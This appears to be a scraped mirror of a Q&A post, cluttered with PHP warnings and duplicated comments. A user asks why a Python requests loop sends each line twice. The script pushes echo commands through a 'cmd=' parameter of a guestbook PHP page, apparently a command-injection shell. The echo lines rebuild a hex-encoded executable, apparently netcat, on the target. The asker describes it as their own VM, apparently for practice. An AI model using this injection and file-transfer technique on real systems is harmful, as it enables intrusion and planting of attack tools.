Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/python-3.x/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/design-patterns/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 3.x Python请求发送两次_Python 3.x_Python Requests - Fatal编程技术网

Python 3.x Python请求发送两次

Python 3.x Python请求发送两次,python-3.x,python-requests,Python 3.x,Python Requests,我编写了一个简短的Python脚本,通过将文件回显到URL来推送文件 import requests import re line='' url1='http://XX.XX.XX.XX/addguestbook.php?name=a&cmd=' url2='/bla/bla' with open("nc.txt", "r") as echofile: data = echofile.readlines() for line in data: r=requests.

我编写了一个简短的Python脚本,通过将文件回显到URL来推送文件

import requests
import re

line=''
url1='http://XX.XX.XX.XX/addguestbook.php?name=a&cmd='
url2='/bla/bla'

with open("nc.txt", "r") as echofile:
    data = echofile.readlines()

for line in data:
    r=requests.get(url1+line+url2)
    #print(line)
nc.txt文件使用以下格式的fomat:

echo n 1.dll >123.hex
echo e 0100 >>123.hex
echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  >>123.hex 
echo e 0180 >>123.hex
echo 50 45 00 00 4c 01 03 00 b9 8e ae 34 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 70 00 00 00 10 00 00 00 d0 00 00 70 4c 01 00 00 e0 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00  >>123.hex 
echo e 0200 >>123.hex
echo 00 50 01 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00  >>123.hex 
echo e 0280 >>123.hex
echo 00 d0 00 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 70 00 00 00 e0 00 00 00 70 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 50 01 00 00 02 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 33 2e 39 34 00 55 50 58 21 0d 09 02 09 6e 0c ee  >>123.hex 
echo e 0300 >>123.hex
问题是,每条线路似乎要发送两次。我在网上找到了关于这一点的讨论(表明这是由重定向引起的),但并不是实际可用的解决方案


我对编程还很陌生,所以非常感谢您的帮助

你可以检查是否是由于重定向,cf.看起来你在试图入侵该网站?这是我控制的一个虚拟机,因此我可以从另一边看到它正在两次接收所有数据。你可以检查是否是由于重定向,cf.看起来你在试图入侵该网站?这是我控制的一个虚拟机,因此,我可以从另一面看到,它两次接收所有数据